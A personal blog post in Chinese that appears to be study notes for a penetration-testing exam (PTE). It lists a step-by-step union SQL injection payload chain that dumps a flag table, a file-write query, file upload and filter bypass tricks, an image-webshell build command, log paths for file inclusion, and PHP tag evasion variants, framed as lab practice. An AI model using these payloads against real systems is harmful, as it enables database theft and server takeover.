PTE知识记录

一些详细知识点的备忘

SQL注入

1.floor类型报错注入,原理是 group by 和 random()相遇时,group by的运行方式发生变化,会两次查询,第一次查询做比较,如果不存在则尝试插入,将第二次查询结果尝试插入,因为random的随机性,第二次插入时的值较第一次发生变化,导致第二次的插入的值其实已经存在,所以报错主键已存在

还可以进行的思考:

group by 为什么要做这样的变化,根据什么判断然后造成的变化,哪些可以造成 group by 运行机制变化

联合查询payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
1' order by 4 #								#列数为4
-1' union select 1,2,3,4 #					#查看回显位 
-1' union select 1,database(),3,4 #			#查看数据库

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 #				 #查看当前数据库表名

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),3,4 #
											#查看flag表的列名

-1' union select 1,(select flag from flag),3,4 #
											#带入表名,列名直接查询

空格绕过

注释代替空格

/**/ ->

读文件和写文件函数

注意有个配置需要打开 secure_file_priv=''

读文件 load_file() 需要知道绝对路径

写文件 select 1,<?phpinfo();?> into outfile "C:\\1.txt"

文件上传

  1. 绕过类型分白名单和黑名单绕过,尝试大小写,双写?%00截断 .htaccess .user.ini 图片马,content-type判断修改

  2. windows特性:大小写不敏感,末尾+空格,特殊字符自动去掉

  3. 末尾带.:畸形解析?

  4. ::$DATA :保存文件时将后面的数据当做文件流处理

.user.ini

.user.ini 的作用范围是本目录,子目录无效(测试php版本 5.3.29nts)且.user.ini 就是php.ini的当前目录下的临时配置(写法规则一样),所以优先级比php.ini高

CGI程序就是配置了相关路径信息,访问特定URL目录和指定文件后,根据 Shebang 行找到解释器调用解析处理,标准输出接入到socket

Apache 中的 ScriptAlias /cgi-b/ “${SRVROOT}/cgi-bin/” 指定了访问URL上的/cgi-b/目录时,会在本地${SRVROOT}/cgi-bin/下查找相应脚本(脚本后缀需要在httpd.conf注册,需要配置 Shebang 行)

FastCGI模式(猜测 会预先处理好脚本),运行脚本后不结束运行(CGI每次访问都会fork一次进程)

还有其他CGI模式

7.3.4nts 需要重启 才能生效

.htaccess

利用有条件

1.mod_rewrite模块开启。

2.AllowOverride All

构造图片马命令

copy 1.jpg/a+2.php/b 3.jpg

条件竞争

先上传再删除(移动,重命名?)

bp就可以一直上传,然后手动刷新页面访问即可

二次渲染

上传后的文件重新根据文件大小?图片规则?重新生成图片

漏洞在于重新生成的部分还是有保留部分源文件,把木马放到没被改变的地方就OK

文件包含

日志路径:

1
2
3
/var/log/apache2/access.log (access_log) error.log error_log
/var/log/httpd/access.log
/var/log/nginx/error.log

伪协议:

php://filter/convert.base64-encode/resource=../file.php

php://filter/read=convert.base64-encode/resource=../file.php

Python临时http服务

1
2
python2 -m SimpleHTTPServer 8000
python3 -m http.server 9000

可以访问被包含的文件,获得更多信息

BP爆破模式

sniper:按照字典顺序一个一个参数依次遍历,一个参数遍历完,再遍历下一个参数 battering ram:每个参数同时遍历同一个字典 pitchfork:多个参数同时进行遍历,只是一个选择字典1,一个选择字典2 Clusterbomb:有点像两个嵌套的for循环,参数i和参数j,i=0,然后j要从0-10全部跑完,然后i=1,然后j再从0-10跑完,一对多,多次遍历

PHP标签绕过

1
2
3
4
5
<? echo '123';?>  #前提是开启配置参数short_open_tags=on
<?=(表达式)?>  等价于 <?php echo (表达式)?>  #不需要开启参数设置
<% echo '123';%>   #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关,但是只能在7.0以下可用。
<?PHP ?> #大写也是可以的,EVAL函数也可以大写

XSS

<script>标签可以部分大小写,所以可以进行绕过

Dan❤Anan
Built with Hugo
主题 StackJimmy 设计